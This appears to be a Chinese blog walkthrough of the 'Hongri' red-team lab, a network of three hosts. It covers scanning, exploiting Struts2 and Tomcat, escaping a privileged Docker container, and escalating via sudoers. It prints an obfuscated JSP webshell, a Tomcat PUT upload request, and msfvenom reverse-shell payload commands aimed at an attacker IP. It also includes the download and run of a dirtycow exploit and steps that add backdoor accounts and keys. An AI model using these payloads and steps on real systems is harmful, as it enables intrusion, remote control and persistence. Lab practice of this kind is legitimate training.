ATT&CK红队评估(红日靶场四)
一,下载环境与环境配置
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/
也可以用百度网盘下载链接:https://pan.baidu.com/s/1MQ_DArys9Bh-YNtTWwhXUQ?pwd=nmap
提取码:nmap
共有三台主机DC、WEB、WIN7
看一下红日靶场拓扑图
1 |
|
1.2 环境配置
web网卡设置
win7网卡设置
DC网卡设置
攻击机kali的网卡和WEB主机的出网网卡一致为NAT模式
web主机
DC 主机
二,信息收集
用nmap扫一下web主机开放了那些端口以及端口的信息
1 | 利用 nmap -sV -sC -sS IP 这个命令可以显示端口的信息 |
1 | ──(root㉿kali)-[/home/kali/Desktop] |
web主机显示端口有22 ssh端口 可尝试爆破一下 ,2001端口是Struts2 Showcase - Fileupload sample,2002端口是Apache Tomcat 8.5.19,2003端口是phpMyAdmin 4.8.1
用浏览器打开
三,漏洞检测
java EE的struts2框架进行poc测试,验证是否存在struts2的历史漏洞Getshell
tomcat弱口令爆破上传war包、8.5.19版本任意文件上传Getshell
phpmyadmin看权限高低进行Getshell尝试,低权限选择最直接的V4.8.1漏洞文件包含会话Session文件,高权限可尝试写码、日志备份
3.1 Struts2漏洞测试
jsp蚁剑的木马 密码 cmd
1 | <% String Hj10U = request.getParameter("cmd");if (Hj10U != null) { class EVN03320 extends/*Z9g353WH9a*/ClassLoader { EVN03320(ClassLoader L7UzBL) { super(L7UzBL); } public Class Hj10U(byte[] b) { return super.defineClass(b, 0, b.length);}}int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 0x010; ccstr = ccstr + (char) aa[i];}Class Ab4i9 = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});byte[] bytes = (byte[]) Ab4i9.getMethod(k, String.class).invoke(Ab4i9.newInstance(), Hj10U);Class aClass = new EVN03320(Thread.currentThread().getContextClassLoader()).Hj10U(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %> |
3.2 tomcat
tomcat存在漏洞写入漏洞
1 | PUT /shell.jsp/ HTTP/1.1 |
生成msf的jsp木马
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.163.128 LPORT=4444 -f jsp > shell.jsp |
然后将msf生成的jsp木马利用漏洞上传
访问上传的页面就可以运行msf生成的jsp木马,然后看一下kali里面的有没有收到会话
果然不出意料收到会话了,然后我们进行信息收集
输入getuid出现错误查了一下说是 输入命令要求加载“stdapi”扩展(运行load stdapi
)然后按着他说的加载扩展
1 | load stdapi |
查看系统进程的cgroup信息 发现是docker环境
四,Docker逃逸
利用dirty cow来进行docker逃逸
这种利用方法利用成功的前提是,需要宿主机的内核有dirty cow漏洞。
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make
在目标主机上无法进行make编译,我们在攻击机kali上编译之后通过kali临时搭建一个python网站
1 | python -m http.server 7777 |
在目标主机上下载
wget http://192.168.163.128/0xdeadbeef
利用工具反弹shell到本地主机
chmod +x 0xdeadbeef
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口
./0xdeadbeef 127.0.0.1 1234
在目标shell上wget远程下载make好的exp之后运行起来,却发现exploit failed攻击失败了,尝试了好几次,均为失败,遂放弃,剩下的就只有CVE-2019-5736
、配置不当导致逃逸
、特权模式逃逸
,其中CVE-2021-5736需宿主机执行exec
才能够触发逃逸,而配置不当中的docker remote api 端口2375是关闭状态
,所以只剩下了利用特权模式逃逸。
利用特权模式进行逃逸
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
查看磁盘文件
1 | fdisk -l |
通过Struts2获得的shell 的磁盘文件为空 利用不了
看看tomcat的磁盘文件
创建一个文件夹,将宿主机根目录挂载至容器目录下
mkdir /out
mount /dev/sda1 /out
添加账号密码通过ssh进行登录
echo “qwe1:x:1006:1006:qwe1,,,:/home/qwe1:/bin/bash” >> test/etc/passwd
echo “qwe1:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18381:0:99999:7:::” >> test/etc/shadow
密码却一直显示错误 难搞
kali中生成公钥ssh-keygen -t rsa
生成之后python临时起个服务,docker机远程下载并且将其保存到挂载的目录中,然后使用公钥登录即可
docker逃逸成功但是是普通用户权限
五,提权
ubuntu是用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权。
1 | echo ‘ubuntu ALL=(ALL:ALL) ALL’ >> out/etc/sudoers |
1 | sudo su root |
写入了密码是ubuntu
上传msf马,获得msf会话
生成msf木马
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.163.128 LPORT=4444 -f elf > shell.elf |
利用python开启一个http服务
1 | python -m http.server 7777 |
不知道怎么回事 明明已经下载了 但还是没有生成msf会话
好家伙终于生成会话了 msf生成的cc3.elf木马需要有权限才能运行怪不得
六,内网信息收集
ifconfig 可以看到有两张网卡,eth0是web服务的网卡,eth1则应为内网网卡.
标记处为内网网卡
暂时先这些由于电脑配置的原因不能开太多的虚拟机横行有机会继续